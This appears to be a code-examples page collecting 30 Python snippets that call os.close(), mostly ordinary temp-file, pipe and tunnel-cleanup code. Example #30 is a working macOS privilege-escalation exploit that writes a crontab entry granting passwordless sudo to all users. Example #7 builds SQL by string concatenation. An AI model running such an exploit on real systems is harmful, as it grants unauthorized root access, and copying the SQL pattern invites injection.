Python os.close() Examples

The following are 30 code examples of os.close(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module os , or try the search function .
Example #1
Source File: device.py    From Paradrop with Apache License 2.0 10 votes vote down vote up
def update(ctx):
    """
    Update the chute from the working directory.
    """
    url = ctx.obj['chute_url']
    headers = {'Content-Type': 'application/x-tar'}

    if not os.path.exists("paradrop.yaml"):
        raise Exception("No paradrop.yaml file found in working directory.")

    with tempfile.TemporaryFile() as temp:
        tar = tarfile.open(fileobj=temp, mode="w")
        for dirName, subdirList, fileList in os.walk('.'):
            for fname in fileList:
                path = os.path.join(dirName, fname)
                arcname = os.path.normpath(path)
                tar.add(path, arcname=arcname)
        tar.close()

        temp.seek(0)
        res = router_request("PUT", url, headers=headers, data=temp)
        data = res.json()
        ctx.invoke(watch, change_id=data['change_id']) 
Example #2
Source File: server.py    From BASS with GNU General Public License v2.0 8 votes vote down vote up
def whitelist_add():
    log.info("whitelist_add called")
    try:
        file_ = request.files["file"]
        handle, filename = tempfile.mkstemp()
        os.close(handle)
        file_.save(filename)
        data = request.get_json()
        if data and "functions" in data:
            functions = data["functions"]
        else:
            functions = None
        bass.whitelist_add(filename, functions)
        os.unlink(filename)
    except KeyError:
        log.exception("")
        return make_response(jsonify(message = "Sample file 'file' missing in POST request"), 400)

    return jsonify(message = "OK") 
Example #3
Source File: _gdb.py    From ALF with Apache License 2.0 7 votes vote down vote up
def _symbolize(target, output, tool, exp_opt):
    fd, tmp_log = tempfile.mkstemp(prefix="%s_log" % tool, suffix=".txt", dir=".")
    try:
        os.write(fd, output)
    finally:
        os.close(fd)
    try:
        result = _common.run([TOOL_GDB, "-batch", "-nx",
                                        "-ex", "set python print-stack full",
                                        "-ex", "py import exploitable",
                                        "-ex", "exploitable -m %s %s" % (exp_opt, tmp_log),
                                        "-ex", "quit", target], timeout=180)
    finally:
        _common.delete(tmp_log)
    if result.classification == _common.TIMEOUT:
        raise RuntimeError("Timed out while processing %s output:\n%s" % (tool, output))
    result.backtrace, result.classification = _process_gdb_output(result.text)
    result.text = _common._limit_output_length(result.text)
    if result.classification == _common.NOT_AN_EXCEPTION:
        raise RuntimeError("Failed to process %s output:\n%s" % (tool, output))
    return result 
Example #4
Source File: packetselector.py    From XFLTReaT with MIT License 6 votes vote down vote up
def replace_client(self, old_client, new_client):
		if old_client in self.clients:
			self.clients.remove(old_client)
			self.clients.append(new_client)
			try:
				old_client.get_pipe_w_fd().close()
			except:
				pass
			try:
				old_client.get_pipe_r_fd().close()
			except:
				pass
			try:
				socket.close(old_client.get_socket())
			except:
				pass

	# removing client from the client list 
Example #5
Source File: wicc_control.py    From WiCC with GNU General Public License v3.0 6 votes vote down vote up
def stop_running(self):
        """
        Stops the program execution. Notifies the view to finish itself, then deletes the reference.
        :return: none

        :Author: Miguel Yanes Fernández
        """
        try:
            self.stop_scan()
            self.semGeneral.release()
            self.view.reaper_calls()
            self.show_message("\n\n\tClossing WiCC ...\n\n")
            os.close(2)  # block writing to stderr
            del self.view
            self.running_stopped = True
            exit(0)
        except:
            raise SystemExit 
Example #6
Source File: wicc_control.py    From WiCC with GNU General Public License v3.0 6 votes vote down vote up
def open_cracked_passwords(self):
        """
        Opens the cracked passwords file.

        :author: Pablo Sanz Alguacil
        """

        try:
            self.show_message("Opening passwords file")
            passwords = self.local_folder + "/" + self.passwords_file_name
            open(passwords, 'r').close()  # just to raise an exception if the file doesn't exists
            command = ['xdg-open', passwords]
            thread = threading.Thread(target=self.execute_command, args=(command,))
            thread.start()
        except FileNotFoundError:
            self.show_warning_notification("No stored cracked networks. You need to do and finish an attack") 
Example #7
Source File: extractor.py    From firmanal with MIT License 6 votes vote down vote up
def update_database(self, field, value):
        """
        Update a given field in the database.
        """
        ret = True
        if self.database:
            try:
                cur = self.database.cursor()
                cur.execute("UPDATE image SET " + field + "='" + value +
                            "' WHERE id=%s", (self.tag, ))
                self.database.commit()
            except BaseException:
                ret = False
                traceback.print_exc()
                self.database.rollback()
            finally:
                if cur:
                    cur.close()
        return ret 
Example #8
Source File: misc.py    From rtp_cluster with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def daemonize(logfile = None):
    # Fork once
    if os.fork() != 0:
        os._exit(0)
    # Create new session
    os.setsid()
    if os.fork() != 0:
        os._exit(0)
    os.chdir('/')
    fd = os.open('/dev/null', os.O_RDWR)
    os.dup2(fd, sys.__stdin__.fileno())
    if logfile != None:
        fake_stdout = open(logfile, 'a', 1)
        sys.stdout = fake_stdout
        sys.stderr = fake_stdout
        fd = fake_stdout.fileno()
    os.dup2(fd, sys.__stdout__.fileno())
    os.dup2(fd, sys.__stderr__.fileno())
    if logfile == None:
        os.close(fd) 
Example #9
Source File: tarfile.py    From jawfish with MIT License 6 votes vote down vote up
def bz2open(cls, name, mode="r", fileobj=None, compresslevel=9, **kwargs):
        """Open bzip2 compressed tar archive name for reading or writing.
           Appending is not allowed.
        """
        if len(mode) > 1 or mode not in "rw":
            raise ValueError("mode must be 'r' or 'w'.")

        try:
            import bz2
        except ImportError:
            raise CompressionError("bz2 module is not available")

        fileobj = bz2.BZ2File(fileobj or name, mode,
                              compresslevel=compresslevel)

        try:
            t = cls.taropen(name, mode, fileobj, **kwargs)
        except (IOError, EOFError):
            fileobj.close()
            raise ReadError("not a bzip2 file")
        t._extfileobj = False
        return t 
Example #10
Source File: local.py    From S4 with GNU General Public License v3.0 6 votes vote down vote up
def put(self, key, sync_object, callback=None):
        path = os.path.join(self.path, key)
        self.ensure_path(path)

        BUFFER_SIZE = 4096
        fd, temp_path = tempfile.mkstemp()

        try:
            with open(temp_path, "wb") as fp_1:
                while True:
                    data = sync_object.fp.read(BUFFER_SIZE)
                    fp_1.write(data)
                    if callback is not None:
                        callback(len(data))
                    if len(data) < BUFFER_SIZE:
                        break
            shutil.move(temp_path, path)
        except Exception:
            os.remove(temp_path)
            raise
        finally:
            os.close(fd)

        self.set_remote_timestamp(key, sync_object.timestamp) 
Example #11
Source File: server.py    From BASS with GNU General Public License v2.0 5 votes vote down vote up
def job_add_sample(job_id):
    try:
        samples = []
        for name, file_ in request.files.items():
            handle, filename = tempfile.mkstemp()
            os.close(handle)
            file_.save(filename)
            samples.append(bass.get_job(job_id).add_sample(filename, name))
        return jsonify(message = "ok", samples = [s.json() for s in samples])
    except KeyError:
        log.exception("Invalid job id")
        return make_response(jsonify(message = "Invalid job id"), 400) 
Example #12
Source File: test_wsgi_unix_socket.py    From cherrypy with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def usocket_path():
    fd, path = tempfile.mkstemp('cp_test.sock')
    os.close(fd)
    os.remove(path)
    return path 
Example #13
Source File: pipes.py    From Learning-Concurrency-in-Python with MIT License 5 votes vote down vote up
def run(self):
    print("Attempting to pipein to pipe")
    self.pipein = os.fdopen(self.pipein, 'w')
    self.pipein.write("My Name is Elliot")
    self.pipein.close() 
Example #14
Source File: pipes.py    From Learning-Concurrency-in-Python with MIT License 5 votes vote down vote up
def main():
  pipeout, pipein = os.pipe()

  child = ChildProcess(pipein)
  child.start()
  child.join()

  os.close(pipein)
  pipeout = os.fdopen(pipeout)

  pipeContent = pipeout.read()
  print("Pipe: {}".format(pipeContent)) 
Example #15
Source File: exceptionHandling.py    From Learning-Concurrency-in-Python with MIT License 5 votes vote down vote up
def run(self):
    try:
      raise Exception("This broke stuff")
    except:
      except_type, except_class, tb = sys.exc_info()

      self.pipein = os.fdopen(self.pipein, 'w')
      self.pipein.write(str(tb))
      self.pipein.close() 
Example #16
Source File: exceptionHandling.py    From Learning-Concurrency-in-Python with MIT License 5 votes vote down vote up
def main():
  pipeout, pipein = os.pipe()

  childProcess = MyProcess(pipein)
  childProcess.start()
  childProcess.join()

  os.close(pipein)
  pipeout = os.fdopen(pipeout)

  pipeContent = pipeout.read()
  print("Exception: {}".format(pipeContent)) 
Example #17
Source File: DNS.py    From XFLTReaT with MIT License 5 votes vote down vote up
def cleanup(self):
		common.internal_print("Shutting down module: {0}".format(self.get_module_name()))
		#ugly hack to be removed later
		os.system("iptables -t mangle -F")
		try:
			self.comms_socket.close()
		except:
			pass
		try:
			os.close(self.tunnel)
		except:
			pass 
Example #18
Source File: ICMP.py    From XFLTReaT with MIT License 5 votes vote down vote up
def cleanup(self):
		common.internal_print("Shutting down module: {0}".format(self.get_module_name()))
		if self.serverorclient:
			if self.os_type == common.OS_LINUX:
				os.system("echo {0} > /proc/sys/net/ipv4/icmp_echo_ignore_all".format(self.orig_ieia_value)) #???
		try:
			self.comms_socket.close()
		except:
			pass
		try:
			os.close(self.tunnel)
		except:
			pass 
Example #19
Source File: UDP_generic.py    From XFLTReaT with MIT License 5 votes vote down vote up
def cleanup(self):
		common.internal_print("Shutting down module: {0}".format(self.get_module_name()))
		try:
			self.comms_socket.close()
		except:
			pass
		try:
			os.close(self.tunnel)
		except:
			pass 
Example #20
Source File: interface.py    From XFLTReaT with MIT License 5 votes vote down vote up
def lin_close_tunnel(self, tun):
		try:
			os.close(tun)
		except:
			pass

		return 
Example #21
Source File: interface.py    From XFLTReaT with MIT License 5 votes vote down vote up
def mac_close_tunnel(self, tun):
		try:
			os.close(tun)
		except:
			pass

		return 
Example #22
Source File: packetselector.py    From XFLTReaT with MIT License 5 votes vote down vote up
def delete_client(self, client):
		if client in self.clients:

			if self.os_type == common.OS_WINDOWS:
				import win32file

				try:
					win32file.CloseHandle(client.get_pipe_r())
					win32file.CloseHandle(client.get_pipe_w())
				except Exception as e:
					common.internal_print("Remove authenticated client: CloseHandle exception: {0}".format(e), -1)
			else:
				try:
					client.get_pipe_r_fd().close()
					client.get_pipe_w_fd().close()
				except Exception as e:
					common.internal_print("Remove authenticated client: os.close exception: {0}".format(e), -1)

			client.call_stopfp()
			self.clients.remove(client)

		return

	# This function should run from the point when the framework was started.
	# It runs as an infinite loop to read the packets off the tunnel.
	# When an IPv4 packet was found that will be selected and checked whether
	# it addresses a client in the client list. If a client was found, then the
	# packet will be written on that pipe. 
Example #23
Source File: wicc_control.py    From WiCC with GNU General Public License v3.0 5 votes vote down vote up
def store_local_file(self, file_name, file_contents):
        """
        Stores the passed content in a local file (adds the content if it already exists)
        :param file_name: name of the file
        :param file_contents: contents to store on the file
        :return: none

        :Author: Miguel Yanes Fernández
        """
        if not self.ignore_local_savefiles:
            with open(self.local_folder + "/" + file_name, "a") as file:
                file.write(file_contents + "\n")
                file.close()
            chmod_cmd = ['chmod', '664', self.local_folder + "/" + file_name]
            self.execute_command(chmod_cmd) 
Example #24
Source File: pdmock.py    From Paradrop with Apache License 2.0 5 votes vote down vote up
def writeTempFile(data):
    """
    Write data to a temporary file and return path to that file.
    """
    fd, path = tempfile.mkstemp()
    os.write(fd, data)
    os.close(fd)
    return path 
Example #25
Source File: test_pdosq.py    From Paradrop with Apache License 2.0 5 votes vote down vote up
def test_read_yaml_file():
    fd, path = tempfile.mkstemp()
    os.close(fd)

    with open(path, "w") as output:
        output.write("value: 42\n")

    result = pdosq.read_yaml_file(path)
    assert result['value'] == 42

    pdosq.safe_remove(path)
    assert pdosq.read_yaml_file(path, default=None) is None
    assert pdosq.read_yaml_file(path, default={}) == {} 
Example #26
Source File: test_pdosq.py    From Paradrop with Apache License 2.0 5 votes vote down vote up
def test_safe_remove():
    fd, path = tempfile.mkstemp()
    os.close(fd)

    # The first call should return True (file removed).
    assert pdosq.safe_remove(path) is True

    # The second call should return False (no file removed).
    assert pdosq.safe_remove(path) is False 
Example #27
Source File: util.py    From Paradrop with Apache License 2.0 5 votes vote down vote up
def open_text_editor(data):
    if data is None:
        data = ""

    fd, path = tempfile.mkstemp()
    os.close(fd)

    with open(path, 'w') as output:
        output.write(data)

    # Get modified time before calling editor.
    orig_mtime = os.path.getmtime(path)

    editor = os.environ.get("EDITOR", "vim")
    os.spawnvpe(os.P_WAIT, editor, [editor, path], os.environ)

    with open(path, 'r') as source:
        data = source.read()

    # Check if the file has been modified, and if it has, send the update.
    new_mtime = os.path.getmtime(path)
    if new_mtime == orig_mtime:
        data = None

    os.remove(path)
    return data 
Example #28
Source File: util.py    From Paradrop with Apache License 2.0 5 votes vote down vote up
def open_yaml_editor(data, description):
    if data is None:
        data = {}

    fd, path = tempfile.mkstemp()
    os.close(fd)

    with open(path, 'w') as output:
        if len(data) > 0:
            output.write(yaml.safe_dump(data, default_flow_style=False))
        output.write("\n")
        output.write("# You are editing the configuration for the {}.\n".format(description))
        output.write("# Blank lines and lines starting with '#' will be ignored.\n")
        output.write("# Save and exit to apply changes; exit without saving to discard.\n")

    # Get modified time before calling editor.
    orig_mtime = os.path.getmtime(path)

    editor = os.environ.get("EDITOR", "vim")
    os.spawnvpe(os.P_WAIT, editor, [editor, path], os.environ)

    with open(path, 'r') as source:
        data = source.read()
        new_data = yaml.safe_load(data)

    # If result is null, convert to an empty dict before sending to router.
    if new_data is None:
        new_data = {}

    # Check if the file has been modified.
    new_mtime = os.path.getmtime(path)
    changed = (new_mtime != orig_mtime)

    os.remove(path)
    return new_data, changed 
Example #29
Source File: device.py    From Paradrop with Apache License 2.0 5 votes vote down vote up
def edit(ctx):
    """
    Interactively edit the host configuration.
    """
    url = ctx.obj['base_url'] + "/config/hostconfig"
    req = router_request("GET", url, dump=False)
    config = req.json()

    fd, path = tempfile.mkstemp()
    os.close(fd)

    with open(path, 'w') as output:
        output.write(yaml.safe_dump(config, default_flow_style=False))

    # Get modified time before calling editor.
    orig_mtime = os.path.getmtime(path)

    editor = os.environ.get("EDITOR", "vim")
    os.spawnvpe(os.P_WAIT, editor, [editor, path], os.environ)

    with open(path, 'r') as source:
        data = source.read()
        config = yaml.safe_load(data)

    # Check if the file has been modified, and if it has, send the update.
    new_mtime = os.path.getmtime(path)
    if new_mtime != orig_mtime:
        data = {
            'config': config
        }
        res = router_request("PUT", url, json=data)
        result = res.json()
        ctx.invoke(watch, change_id=result['change_id'])

    os.remove(path) 
Example #30
Source File: LPE_10-10-5.py    From EvilOSX with GNU General Public License v3.0 5 votes vote down vote up
def get_root():
    env = {}
    old_size = os.stat("/etc/sudoers").st_size

    env['MallocLogFile'] = '/etc/crontab'
    env['MallocStackLogging'] = 'yes'
    env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

    print "Creating /etc/crontab..."

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print "FAILED!"
        exit(-1)

    print "Done, waiting for /etc/sudoers to update..."

    while os.stat("/etc/sudoers").st_size == old_size:
        time.sleep(1)

    print "Exploit completed."
    os.system("sudo rm -rf /etc/crontab")
    exit()